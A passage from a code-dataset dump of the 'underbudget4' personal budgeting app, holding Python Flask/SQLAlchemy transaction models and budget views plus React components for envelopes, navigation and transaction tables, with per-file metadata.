len(self.envelope_transactions) != 0\n\n if account_sum - envelope_sum != 0:\n raise ValidationError(\"Transaction entries are unbalanced\")\n\n if account_sum > 0: # is an increase\n self._check_type(TransactionType.incomes(), TransactionType.income)\n elif account_sum < 0: # is a decrease\n self._check_type(TransactionType.expenses(), TransactionType.expense)\n elif (\n has_account_trns and not has_envelope_trns\n ): # zero-sum, only account transactions\n self._check_type(TransactionType.transfers(), TransactionType.transfer)\n elif (\n has_envelope_trns and not has_account_trns\n ): # zero-sum, only envelope transactions\n self._check_type(TransactionType.allocations(), TransactionType.allocation)\n elif (\n has_account_trns and has_envelope_trns\n ): # zero-sum, account and envelope transactions\n raise ValidationError(\n \"Cannot transfer account and envelope balances in same transaction\",\n )\n else: # zero-sum, no transactions at all\n raise ValidationError(\"Missing account or envelope transactions\")\n\n # All checks OK\n\n\nLedgerModel.transactions = db.relationship(\n \"TransactionModel\", cascade=\"delete\", lazy=\"select\"\n)\n\n\nclass AccountTransactionModel(db.Model):\n \"\"\" Account transaction model \"\"\"\n\n __tablename__ = \"account_transaction\"\n\n id = db.Column(db.Integer, primary_key=True)\n transaction_id = db.Column(\n db.Integer, db.ForeignKey(\"transaction.id\"), nullable=False\n )\n account_id = db.Column(db.Integer, db.ForeignKey(\"account.id\"), nullable=False)\n\n amount = db.Column(db.Integer, nullable=False)\n memo = db.Column(db.String(256), nullable=False)\n cleared = db.Column(db.Boolean, nullable=False)\n\n reconciliation_id = db.Column(\n db.Integer, db.ForeignKey(\"reconciliation.id\"), nullable=True\n )\n\n @classmethod\n def update_reconciliation_id(\n cls: Type[\"AccountTransactionModel\"],\n transaction_ids: List[int],\n reconciliation_id: int,\n ):\n \"\"\" Updates the specified transactions to reference the given reconciliation \"\"\"\n count = cls.query.filter(cls.id.in_(transaction_ids)).update(\n {cls.reconciliation_id: reconciliation_id, cls.cleared: True},\n synchronize_session=False,\n )\n if count != len(transaction_ids):\n raise NotFound(\"Account transaction not found\")\n\n @classmethod\n def remove_reconciliation_id(\n cls: Type[\"AccountTransactionModel\"], reconciliation_id: int\n ):\n \"\"\" Removes any references to the given reconciliation ID from all transactions \"\"\"\n cls.query.filter_by(reconciliation_id=reconciliation_id).update(\n {\"reconciliation_id\": None}, synchronize_session=False\n )\n\n @classmethod\n def get_history(\n cls: Type[\"AccountTransactionModel\"],\n account_id: int,\n page: int = 1,\n size: int = 20,\n ):\n \"\"\" Gets ordered transaction history for a single account. \"\"\"\n # Join account transactions and transactions so we can sort by date\n # and include payee, date, type.\n # Use a postgres window function to calculate the running balance.\n sql = text(\n \"SELECT \"\n f\"{cls.__tablename__}.id as id, \"\n f\"{cls.__tablename__}.amount as amount, \"\n f\"{cls.__tablename__}.memo as memo, \"\n f\"{cls.__tablename__}.cleared as cleared, \"\n f\"{cls.__tablename__}.reconciliation_id as reconciliation_id, \"\n f\"{cls.__tablename__}.transaction_id as transaction_id, \"\n f\"{TransactionModel.__tablename__}.transaction_type as transaction_type, \"\n f\"{TransactionModel.__tablename__}.recorded_date as recorded_date, \"\n f\"{TransactionModel.__tablename__}.payee as payee, \"\n f\"sum({cls.__tablename__}.amount) over \"\n f\" (partition by {cls.__tablename__}.account_id \"\n f\" ORDER BY {TransactionModel.__tablename__}.recorded_date, \"\n f\" {cls.__tablename__}.id\"\n f\") AS balance \"\n f\"FROM {cls.__tablename__}, {TransactionModel.__tablename__} \"\n f\"WHERE {cls.__tablename__}.transaction_id = {TransactionModel.__tablename__}.id \"\n f\"AND {cls.__tablename__}.account_id = :account_id \"\n f\"ORDER BY {TransactionModel.__tablename__}.recorded_date DESC, \"\n f\"{cls.__tablename__}.id DESC \"\n \"LIMIT :size OFFSET :page\"\n )\n transactions = db.session.execute(\n sql, {\"account_id\": account_id, \"page\": ((page - 1) * size), \"size\": size}\n )\n total = cls.query.filter_by(account_id=account_id).count()\n return Pagination(cls.query, page, size, total, transactions)\n\n # pylint: disable=too-many-arguments\n @classmethod\n def search(\n cls: Type[\"AccountTransactionModel\"],\n page: int = 1,\n size: int = 20,\n account_id: Optional[Dict[str, Any]] = None,\n amount: Optional[Dict[str, Any]] = None,\n cleared: Optional[Dict[str, Any]] = None,\n memo: Optional[Dict[str, Any]] = None,\n payee: Optional[Dict[str, Any]] = None,\n reconciliation_id: Optional[Dict[str, Any]] = None,\n recorded_date: Optional[Dict[str, Any]] = None,\n transaction_type: Optional[Dict[str, Any]] = None,\n ):\n \"\"\" Searches for account transactions \"\"\"\n query = cls.query.join(TransactionModel).add_columns(\n cls.id,\n cls.account_id,\n cls.amount,\n cls.cleared,\n cls.memo,\n cls.reconciliation_id,\n TransactionModel.id.label(\"transaction_id\"),\n TransactionModel.transaction_type,\n TransactionModel.recorded_date,\n TransactionModel.payee,\n )\n if account_id:\n query = filter_ops.filter_in(query, cls.account_id, **account_id)\n if amount:\n query = filter_ops.filter_comp(query, cls.amount, **amount)\n if cleared:\n query = filter_ops.filter_bool(query, cls.cleared, **cleared)\n if memo:\n query = filter_ops.filter_str(query, cls.memo, **memo)\n if payee:\n query = filter_ops.filter_str(query, TransactionModel.payee, **payee)\n if reconciliation_id:\n query = filter_ops.filter_in(\n query, cls.reconciliation_id, **reconciliation_id\n )\n if recorded_date:\n query = filter_ops.filter_comp(\n query, TransactionModel.recorded_date, **recorded_date\n )\n if transaction_type:\n query = filter_ops.filter_in(\n query, TransactionModel.transaction_type, **transaction_type\n )\n return query.order_by(TransactionModel.recorded_date.desc()).paginate(\n page, size\n )\n\n\nclass EnvelopeTransactionModel(db.Model):\n \"\"\" Envelope transaction model \"\"\"\n\n __tablename__ = \"envelope_transaction\"\n\n id = db.Column(db.Integer, primary_key=True)\n transaction_id = db.Column(\n db.Integer, db.ForeignKey(\"transaction.id\"), nullable=False\n )\n envelope_id = db.Column(db.Integer, db.ForeignKey(\"envelope.id\"), nullable=False)\n\n amount = db.Column(db.Integer, nullable=False)\n memo = db.Column(db.String(256), nullable=False)\n\n @classmethod\n def get_history(\n cls: Type[\"EnvelopeTransactionModel\"],\n envelope_id: int,\n page: int = 1,\n size: int = 20,\n ):\n \"\"\" Gets ordered transaction history for a single envelope. \"\"\"\n # Join envelope transactions and transactions so we can sort by date\n # and include payee, date, type.\n # Use a postgres window function to calculate the running balance.\n sql = text(\n \"SELECT \"\n f\"{cls.__tablename__}.id as id, \"\n f\"{cls.__tablename__}.amount as amount, \"\n f\"{cls.__tablename__}.memo as memo, \"\n f\"{cls.__tablename__}.transaction_id as transaction_id, \"\n f\"{TransactionModel.__tablename__}.transaction_type as transaction_type, \"\n f\"{TransactionModel.__tablename__}.recorded_date as recorded_date, \"\n f\"{TransactionModel.__tablename__}.payee as payee, \"\n f\"sum({cls.__tablename__}.amount) over \"\n f\" (partition by {cls.__tablename__}.envelope_id \"\n f\" ORDER BY {TransactionModel.__tablename__}.recorded_date, \"\n f\" {cls.__tablename__}.id\"\n f\") AS balance \"\n f\"FROM {cls.__tablename__}, {TransactionModel.__tablename__} \"\n f\"WHERE {cls.__tablename__}.transaction_id = {TransactionModel.__tablename__}.id \"\n f\"AND {cls.__tablename__}.envelope_id = :envelope_id \"\n f\"ORDER BY {TransactionModel.__tablename__}.recorded_date DESC, \"\n f\"{cls.__tablename__}.id DESC \"\n \"LIMIT :size OFFSET :page\"\n )\n transactions = db.session.execute(\n sql, {\"envelope_id\": envelope_id, \"page\": ((page - 1) * size), \"size\": size}\n )\n total = cls.query.filter_by(envelope_id=envelope_id).count()\n return Pagination(cls.query, page, size, total, transactions)\n\n # pylint: disable=too-many-arguments\n @classmethod\n def search(\n cls: Type[\"EnvelopeTransactionModel\"],\n page: int = 1,\n size: int = 20,\n amount: Optional[Dict[str, Any]] = None,\n envelope_id: Optional[Dict[str, Any]] = None,\n memo: Optional[Dict[str, Any]] = None,\n payee: Optional[Dict[str, Any]] = None,\n recorded_date: Optional[Dict[str, Any]] = None,\n transaction_type: Optional[Dict[str, Any]] = None,\n ):\n \"\"\" Searches for envelope transactions \"\"\"\n query = cls.query.join(TransactionModel).add_columns(\n cls.id,\n cls.amount,\n cls.envelope_id,\n cls.memo,\n TransactionModel.id.label(\"transaction_id\"),\n TransactionModel.transaction_type,\n TransactionModel.recorded_date,\n TransactionModel.payee,\n )\n if amount:\n query = filter_ops.filter_comp(query, cls.amount, **amount)\n if envelope_id:\n query = filter_ops.filter_in(query, cls.envelope_id, **envelope_id)\n if memo:\n query = filter_ops.filter_str(query, cls.memo, **memo)\n if payee:\n query = filter_ops.filter_str(query, TransactionModel.payee, **payee)\n if recorded_date:\n query = filter_ops.filter_comp(\n query, TransactionModel.recorded_date, **recorded_date\n )\n if transaction_type:\n query = filter_ops.filter_in(\n query, TransactionModel.transaction_type, **transaction_type\n )\n return query.order_by(TransactionModel.recorded_date.desc()).paginate(\n page, size\n )\n" }, { "alpha_fraction": 0.645984411239624, "alphanum_fraction": 0.6467902064323425, "avg_line_length": 29.024192810058594, "blob_id": "e8534460eedc98012a467b05c3e126abf072c7dd", "content_id": "046d8b3a501d51d0595a561905564208e812bd84", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3723, "license_type": "permissive", "max_line_length": 84, "num_lines": 124, "path": "/webapp/src/features/envelopes/routes/EnvelopeTransactionsPage.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import AddCircleIcon from '@material-ui/icons/AddCircle';\nimport ArchiveIcon from '@material-ui/icons/Archive';\nimport DeleteIcon from '@material-ui/icons/Delete';\nimport EditIcon from '@material-ui/icons/Edit';\nimport React from 'react';\nimport { Routes, Route, useParams } from 'react-router-dom';\n\nimport FullAppPage from 'common/components/FullAppPage';\nimport useConfirmation from 'common/hooks/useConfirmation';\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport useMobile from 'common/hooks/useMobile';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport * as routes from 'common/utils/routes';\nimport {\n CreateTransactionDialog,\n ModifyTransactionDialog,\n TransactionDetailsDialog,\n TransactionHistory,\n useFetchEnvelopeTransactions,\n} from 'features/transactions';\nimport ModifyEnvelopeDialog from '../components/ModifyEnvelopeDialog';\nimport useDeleteEnvelope from '../hooks/useDeleteEnvelope';\nimport useFetchEnvelope from '../hooks/useFetchEnvelope';\nimport useFetchEnvelopeBalance from '../hooks/useFetchEnvelopeBalance';\n\nconst parentRoute = { pathname: routes.ENVELOPES, search: '' };\n\nconst EnvelopeTransactionsPage = () => {\n const confirm = useConfirmation();\n const formatMoney = useFormatMoney();\n const mobile = useMobile();\n const navigate = useNavigateKeepingSearch();\n\n const { mutate: deleteEnvelope } = useDeleteEnvelope({\n onSuccess: () => navigate(parentRoute),\n });\n\n const { id } = useParams();\n const { data } = useFetchEnvelope({ id });\n const { data: balanceData } = useFetchEnvelopeBalance({ id });\n\n const handleDelete = React.useCallback(\n () =>\n confirm({\n message: [\n `Delete envelope ${data && data.name}?`,\n 'This action is permanent and cannot be undone.',\n ],\n }).then(() => {\n deleteEnvelope(id);\n }),\n [data, id],\n );\n\n const primaryActions = [\n {\n 'aria-label': 'Create transaction',\n icon: <AddCircleIcon />,\n onClick: () => navigate('create-transaction'),\n text: 'Create transaction',\n },\n {\n 'aria-label': 'Modify envelope',\n icon: <EditIcon />,\n onClick: () => navigate('modify'),\n text: 'Modify',\n },\n ];\n\n const secondaryActions = [\n {\n 'aria-label': 'Delete envelope',\n disabled: balanceData && balanceData.total > 0,\n icon: <DeleteIcon />,\n onClick: handleDelete,\n text: 'Delete',\n },\n {\n 'aria-label': 'Archive envelope',\n disabled: true,\n icon: <ArchiveIcon />,\n onClick: () => navigate('archive'),\n text: 'Archive',\n },\n ];\n\n const title = React.useMemo(() => {\n if (!data) {\n return '...';\n }\n if (mobile || !balanceData) {\n return data.name;\n }\n return `${data.name} | ${formatMoney(balanceData.balance)}`;\n }, [data, balanceData, mobile]);\n\n return (\n <FullAppPage\n back={parentRoute}\n primaryActions={primaryActions}\n secondaryActions={secondaryActions}\n title={title}\n >\n <TransactionHistory useFetchTransactions={useFetchEnvelopeTransactions} />\n <Routes>\n <Route path='modify' element={<ModifyEnvelopeDialog />} />\n <Route\n path='create-transaction'\n element={<CreateTransactionDialog initialEnvelopeId={parseInt(id, 10)} />}\n />\n <Route\n path='modify-transaction/:transactionId/*'\n element={<ModifyTransactionDialog onExitNavigateTo='../..' />}\n />\n <Route\n path='transaction/:transactionId/*'\n element={<TransactionDetailsDialog onExitNavigateTo='../..' />}\n />\n </Routes>\n </FullAppPage>\n );\n};\n\nexport default EnvelopeTransactionsPage;\n" }, { "alpha_fraction": 0.6829268336296082, "alphanum_fraction": 0.6829268336296082, "avg_line_length": 40, "blob_id": "bb1d810891ee2f78e2673b81c13ad31f85fddffb", "content_id": "1b17db9b8040b54f9e57c3f5ebfcf8ecdd94e2d7", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 41, "license_type": "permissive", "max_line_length": 40, "num_lines": 1, "path": "/webapp/src/common/components/FullAppPage/index.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "export { default } from './FullAppPage';\n" }, { "alpha_fraction": 0.591499388217926, "alphanum_fraction": 0.591499388217926, "avg_line_length": 28.546510696411133, "blob_id": "c75dd643efa31e791e29d106337c99610f73627a", "content_id": "c25c978b110813b682baa8fdf02aa371f7813d14", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2541, "license_type": "permissive", "max_line_length": 68, "num_lines": 86, "path": "/webapp/src/common/components/NavIconList/NavIconList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Divider from '@material-ui/core/Divider';\nimport List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport AccountIcon from '@material-ui/icons/AccountBalance';\nimport BookIcon from '@material-ui/icons/Book';\nimport DashboardIcon from '@material-ui/icons/Dashboard';\nimport LogoutIcon from '@material-ui/icons/Lock';\nimport ReportIcon from '@material-ui/icons/InsertChart';\nimport EnvelopeIcon from '@material-ui/icons/Mail';\nimport BudgetIcon from '@material-ui/icons/MonetizationOn';\nimport React from 'react';\nimport { useNavigate } from 'react-router-dom';\n\nimport * as routes from '../../utils/routes';\n\nconst NavIconList = () => {\n const navigate = useNavigate();\n\n return (\n <>\n <List>\n <ListItem button onClick={() => navigate(routes.DASHBOARD)}>\n <ListItemIcon>\n <DashboardIcon />\n </ListItemIcon>\n <ListItemText primary='Dashboard' />\n </ListItem>\n </List>\n\n <Divider />\n\n <List>\n <ListItem button onClick={() => navigate(routes.LEDGERS)}>\n <ListItemIcon>\n <BookIcon />\n </ListItemIcon>\n <ListItemText primary='Ledgers' />\n </ListItem>\n <ListItem button onClick={() => navigate(routes.ACCOUNTS)}>\n <ListItemIcon>\n <AccountIcon />\n </ListItemIcon>\n <ListItemText primary='Accounts' />\n </ListItem>\n <ListItem button onClick={() => navigate(routes.ENVELOPES)}>\n <ListItemIcon>\n <EnvelopeIcon />\n </ListItemIcon>\n <ListItemText primary='Envelopes' />\n </ListItem>\n <ListItem button onClick={() => navigate(routes.BUDGETS)}>\n <ListItemIcon>\n <BudgetIcon />\n </ListItemIcon>\n <ListItemText primary='Budgets' />\n </ListItem>\n </List>\n\n <Divider />\n\n <List>\n <ListItem button onClick={() => navigate(routes.REPORTS)}>\n <ListItemIcon>\n <ReportIcon />\n </ListItemIcon>\n <ListItemText primary='Reports' />\n </ListItem>\n </List>\n\n <Divider />\n\n <List>\n <ListItem button component='a' href={routes.LOGOUT}>\n <ListItemIcon>\n <LogoutIcon />\n </ListItemIcon>\n <ListItemText primary='Logout' />\n </ListItem>\n </List>\n </>\n );\n};\n\nexport default NavIconList;\n" }, { "alpha_fraction": 0.5560538172721863, "alphanum_fraction": 0.5560538172721863, "avg_line_length": 15.518518447875977, "blob_id": "9deb8e833e49e1a3908e293c189f2e1f182b6514", "content_id": "1056d8295873725313bfb371e1b1236066a4fd5d", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 446, "license_type": "permissive", "max_line_length": 33, "num_lines": 27, "path": "/backend/underbudget/common/types.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Argument types \"\"\"\n\n\ndef min_int(min_val):\n def validate(val):\n val = int(val)\n if val < min_val:\n raise ValidationError\n return val\n\n return validate\n\n\ndef max_int(max_val):\n def validate(val):\n val = int(val)\n if val > max_val:\n raise ValidationError\n return val\n\n return validate\n\n\ndef not_empty(val):\n if not val:\n raise ValidationError\n return val\n" }, { "alpha_fraction": 0.6231883764266968, "alphanum_fraction": 0.6231883764266968, "avg_line_length": 23.64285659790039, "blob_id": "a9332a39c94e02b706f46bfde400ae1e3b388f7b", "content_id": "f6d88eea3a21c687b91a31bdef8716a7b8d364b6", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1035, "license_type": "permissive", "max_line_length": 72, "num_lines": 42, "path": "/webapp/src/common/components/PureActionMenu/PureActionMenu.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Button from '@material-ui/core/Button';\nimport AddIcon from '@material-ui/icons/Add';\nimport RemoveIcon from '@material-ui/icons/Remove';\nimport { action } from '@storybook/addon-actions';\nimport React from 'react';\n\nimport PureActionMenu from './PureActionMenu';\n\nexport default {\n title: 'common/PureActionMenu',\n component: PureActionMenu,\n};\n\nconst Template = (args) => {\n const [anchor, setAnchor] = React.useState(null);\n const handleOpen = (e) => setAnchor(e.currentTarget);\n const handleClose = () => setAnchor(null);\n return (\n <>\n <Button onClick={handleOpen}>Open</Button>\n <PureActionMenu anchor={anchor} onClose={handleClose} {...args} />\n </>\n );\n};\n\nexport const Default = Template.bind({});\nDefault.args = {\n actions: [\n {\n 'aria-label': 'add item',\n icon: <AddIcon />,\n onClick: action('add'),\n text: 'Add Item',\n },\n {\n 'aria-label': 'remove item',\n icon: <RemoveIcon />,\n onClick: action('remove'),\n text: 'Remove Item',\n },\n ],\n};\n" }, { "alpha_fraction": 0.6510915160179138, "alphanum_fraction": 0.6510915160179138, "avg_line_length": 30.841463088989258, "blob_id": "524b7f4514dc00d12d16100ee05aba7a20c02610", "content_id": "96fa89004feaf07c6d05101797e9f3e88ced19a0", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2611, "license_type": "permissive", "max_line_length": 86, "num_lines": 82, "path": "/webapp/src/features/transactions/components/TransactionsList.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import List from '@material-ui/core/List';\nimport ListItem from '@material-ui/core/ListItem';\nimport ListItemIcon from '@material-ui/core/ListItemIcon';\nimport ListItemText from '@material-ui/core/ListItemText';\nimport Skeleton from '@material-ui/lab/Skeleton';\nimport PropTypes from 'prop-types';\nimport React from 'react';\nimport { Routes, Route } from 'react-router-dom';\n\nimport useFormatMoney from 'common/hooks/useFormatMoney';\nimport useNavigateKeepingSearch from 'common/hooks/useNavigateKeepingSearch';\nimport TransactionDetailsDialog from './TransactionDetailsDialog';\nimport TransactionIcon from './TransactionIcon';\n\nconst TransactionsList = ({ loading, onClick, showDetailsOnClick, transactions }) => {\n const formatMoney = useFormatMoney();\n const navigate = useNavigateKeepingSearch();\n\n let handleClick = null;\n if (onClick) {\n handleClick = onClick;\n } else if (showDetailsOnClick) {\n handleClick = ({ transactionId }) => navigate(`transaction/${transactionId}`);\n }\n\n return (\n <>\n <List dense disablePadding>\n {loading && (\n <ListItem>\n <ListItemText primary={<Skeleton />} secondary={<Skeleton />} />\n </ListItem>\n )}\n {transactions.map((transaction) => (\n <ListItem\n button={handleClick !== null}\n key={transaction.id}\n onClick={handleClick && (() => handleClick(transaction))}\n role={handleClick ? 'button' : undefined}\n >\n <ListItemIcon>\n <TransactionIcon type={transaction.type} />\n </ListItemIcon>\n <ListItemText\n primary={`${transaction.recordedDate} - ${transaction.payee}`}\n secondary={formatMoney(transaction.amount)}\n />\n </ListItem>\n ))}\n </List>\n <Routes>\n <Route\n path='transaction/:transactionId/*'\n element={<TransactionDetailsDialog onExitNavigateTo='../..' />}\n />\n </Routes>\n </>\n );\n};\n\nTransactionsList.propTypes = {\n loading: PropTypes.bool.isRequired,\n onClick: PropTypes.func,\n showDetailsOnClick: PropTypes.bool,\n transactions: PropTypes.arrayOf(\n PropTypes.shape({\n amount: PropTypes.number.isRequired,\n id: PropTypes.number.isRequired,\n payee: PropTypes.string.isRequired,\n recordedDate: PropTypes.string.isRequired,\n transactionId: PropTypes.number.isRequired,\n type: TransactionIcon.propTypes.type,\n }),\n ).isRequired,\n};\n\nTransactionsList.defaultProps = {\n onClick: null,\n showDetailsOnClick: true,\n};\n\nexport default TransactionsList;\n" }, { "alpha_fraction": 0.6771117448806763, "alphanum_fraction": 0.6789282560348511, "avg_line_length": 35.09836196899414, "blob_id": "83e296bca34b6dc1673cbe11149e269a05b860b3", "content_id": "f200d2a3fbc71bdd614f52a334d0c1fde776e31c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2202, "license_type": "permissive", "max_line_length": 81, "num_lines": 61, "path": "/backend/underbudget/views/budget_queries.py", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "\"\"\" Active budgets REST views \"\"\"\nfrom flask import Flask\nfrom werkzeug.exceptions import NotFound\n\nfrom underbudget.models.budget import (\n ActiveBudgetModel,\n BudgetAnnualExpenseModel,\n BudgetModel,\n BudgetPeriodicExpenseModel,\n)\n\n\ndef register(app: Flask):\n \"\"\" Registers all views \"\"\"\n app.add_url_rule(\n \"/api/ledgers/<int:ledger_id>/budgeted-expenses/<int:year>/<int:period>\",\n view_func=active_budgeted_expenses_by_period,\n methods=[\"GET\"],\n )\n app.add_url_rule(\n \"/api/budgets/<int:budget_id>/budgeted-expenses/<int:period>\",\n view_func=budgeted_expenses_by_period,\n methods=[\"GET\"],\n )\n\n\ndef active_budgeted_expenses_by_period(ledger_id: int, year: int, period: int):\n \"\"\" Retrieve all budgeted expenses for the specified period \"\"\"\n active_budget = ActiveBudgetModel.find_by_year(ledger_id, year)\n if not active_budget:\n raise NotFound(\"No active budget found\")\n return budgeted_expenses_by_period(active_budget.budget_id, period)\n\n\ndef budgeted_expenses_by_period(budget_id: int, period: int):\n \"\"\" Retrieve all budgeted expenses for the specified period \"\"\"\n budget = BudgetModel.query.get_or_404(budget_id)\n if period < 0 or period >= budget.periods:\n raise NotFound(\"Invalid period\")\n\n expenses_by_envelope = {}\n\n periodic_expenses = BudgetPeriodicExpenseModel.find_by_budget_id(budget.id)\n for expense in periodic_expenses:\n if expense.envelope_id in expenses_by_envelope:\n expenses_by_envelope[expense.envelope_id] += expense.amount\n else:\n expenses_by_envelope[expense.envelope_id] = expense.amount\n\n annual_expenses = BudgetAnnualExpenseModel.find_by_budget_id(budget.id)\n for expense in annual_expenses:\n if len(expense.details) > period:\n amount = expense.details[period].amount\n else:\n amount = round(expense.amount / budget.periods)\n if expense.envelope_id in expenses_by_envelope:\n expenses_by_envelope[expense.envelope_id] += amount\n else:\n expenses_by_envelope[expense.envelope_id] = amount\n\n return {\"expensesByEnvelopeId\": expenses_by_envelope}\n" }, { "alpha_fraction": 0.7755991220474243, "alphanum_fraction": 0.7755991220474243, "avg_line_length": 31.785715103149414, "blob_id": "32103365708e4b23aad07f54a01cc6d23d75bfff", "content_id": "8fca8e2627e5c252274afdd84774ddf5cd4990ef", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 459, "license_type": "permissive", "max_line_length": 68, "num_lines": 14, "path": "/webapp/src/features/envelopes/components/EnvelopeSelectField.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "// Disable rule because this is a generic component\n/* eslint-disable react/jsx-props-no-spreading */\n\nimport React from 'react';\n\nimport EntitySelectField from 'common/components/EntitySelectField';\nimport useFlattenedEnvelopes from '../hooks/useFlattenedEnvelopes';\n\nconst EnvelopeSelectField = (props) => {\n const envelopes = useFlattenedEnvelopes();\n return <EntitySelectField {...props} entities={envelopes} />;\n};\n\nexport default EnvelopeSelectField;\n" }, { "alpha_fraction": 0.6571246981620789, "alphanum_fraction": 0.6679389476776123, "avg_line_length": 23.184616088867188, "blob_id": "a38e0fa86b47d5ce92e933010a0ff4c90721b3f6", "content_id": "01bac81447daf2e3dfc31fba62d1e607b8e237af", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 1572, "license_type": "permissive", "max_line_length": 73, "num_lines": 65, "path": "/webapp/src/features/transactions/components/__stories__/SelectableTransactionsTable.stories.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { action } from '@storybook/addon-actions';\nimport React from 'react';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport { transactionGenerator } from 'test/data-generators';\nimport SelectableTransactionsTable from '../SelectableTransactionsTable';\n\nexport default {\n title: 'transactions/SelectableTransactionsTable',\n component: SelectableTransactionsTable,\n decorators: [\n (story) => {\n setSelectedLedger(2);\n return story();\n },\n ],\n parameters: {\n api: {\n get: [['/api/ledgers/2', { currency: 840 }]],\n },\n },\n};\n\nconst Template = (args) => (\n <SelectableTransactionsTable\n loading={false}\n onSelect={action('select')}\n onSelectAll={action('select-all')}\n selected={[]}\n transactions={[]}\n {...args}\n />\n);\n\nexport const Loading = Template.bind({});\nLoading.args = { loading: true };\n\nexport const NoTransactions = Template.bind({});\n\nexport const OneTransaction = Template.bind({});\nOneTransaction.args = {\n transactions: [transactionGenerator()],\n};\n\nexport const SeveralTransactions = Template.bind({});\nSeveralTransactions.args = {\n transactions: [...Array(5)].map(transactionGenerator),\n};\n\nexport const SomeSelected = Template.bind({});\nSomeSelected.args = {\n selected: [3, 1],\n transactions: [\n transactionGenerator({ id: 1 }),\n transactionGenerator({ id: 2 }),\n transactionGenerator({ id: 3 }),\n transactionGenerator({ id: 4 }),\n ],\n};\n\nexport const AllSelected = Template.bind({});\nAllSelected.args = {\n ...SomeSelected.args,\n selected: [3, 1, 2, 5, 4],\n};\n" }, { "alpha_fraction": 0.6605132818222046, "alphanum_fraction": 0.6614137887954712, "avg_line_length": 32.149253845214844, "blob_id": "23ff8beae075895537379aff05374d350e47fd41", "content_id": "4e1312094cb709f139749ff670b4b090f6de8e44", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2221, "license_type": "permissive", "max_line_length": 92, "num_lines": 67, "path": "/webapp/src/features/transactions/components/MobileTransactionsTable.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import Table from '@material-ui/core/Table';\nimport TableBody from '@material-ui/core/TableBody';\nimport TableContainer from '@material-ui/core/TableContainer';\nimport TableCell from '@material-ui/core/TableCell';\nimport TableRow from '@material-ui/core/TableRow';\nimport groupBy from 'lodash/groupBy';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useNavigateKeepingSearch from '../../../common/hooks/useNavigateKeepingSearch';\nimport HistoryTransactionPropTypes from '../utils/history-transaction-prop-types';\n\nconst MobileTableRow = ({ formatMoney, transaction }) => {\n const navigate = useNavigateKeepingSearch();\n const handleClick = () => navigate(`transaction/${transaction.transactionId}`);\n\n return (\n <>\n <TableRow onClick={handleClick}>\n <TableCell style={{ paddingLeft: '2em' }}>{transaction.payee}</TableCell>\n <TableCell>{formatMoney(transaction.amount)}</TableCell>\n </TableRow>\n </>\n );\n};\n\nMobileTableRow.propTypes = {\n formatMoney: PropTypes.func.isRequired,\n transaction: HistoryTransactionPropTypes.isRequired,\n};\n\nconst MobileTransactionsTable = ({ formatMoney, transactions }) => {\n const byDate = React.useMemo(() => groupBy(transactions, 'recordedDate'), [transactions]);\n return (\n <TableContainer>\n <Table aria-label='transactions table' size='small' stickyHeader>\n <TableBody>\n {Object.keys(byDate).map((recordedDate) => (\n <React.Fragment key={recordedDate}>\n <TableRow>\n <TableCell colSpan={2}>{recordedDate}</TableCell>\n </TableRow>\n {byDate[recordedDate].map((transaction) => (\n <MobileTableRow\n key={transaction.id}\n formatMoney={formatMoney}\n transaction={transaction}\n />\n ))}\n </React.Fragment>\n ))}\n </TableBody>\n </Table>\n </TableContainer>\n );\n};\n\nMobileTransactionsTable.propTypes = {\n formatMoney: PropTypes.func.isRequired,\n transactions: PropTypes.arrayOf(HistoryTransactionPropTypes),\n};\n\nMobileTransactionsTable.defaultProps = {\n transactions: [],\n};\n\nexport default MobileTransactionsTable;\n" }, { "alpha_fraction": 0.668938398361206, "alphanum_fraction": 0.6697247624397278, "avg_line_length": 28.8046875, "blob_id": "31b49a875113187001d3c727045d85f089613ee3", "content_id": "8476ea2329f6c1399e000af319ef5b91a378e615", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 3815, "license_type": "permissive", "max_line_length": 93, "num_lines": 128, "path": "/webapp/src/common/components/FullAppBar/FullAppBar.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import ArrowBackIcon from '@material-ui/icons/ArrowBack';\nimport CloseIcon from '@material-ui/icons/Close';\nimport MenuIcon from '@material-ui/icons/Menu';\nimport MoreVertIcon from '@material-ui/icons/MoreVert';\nimport PropTypes from 'prop-types';\nimport React from 'react';\n\nimport useMobile from '../../hooks/useMobile';\nimport useNavigateKeepingSearch from 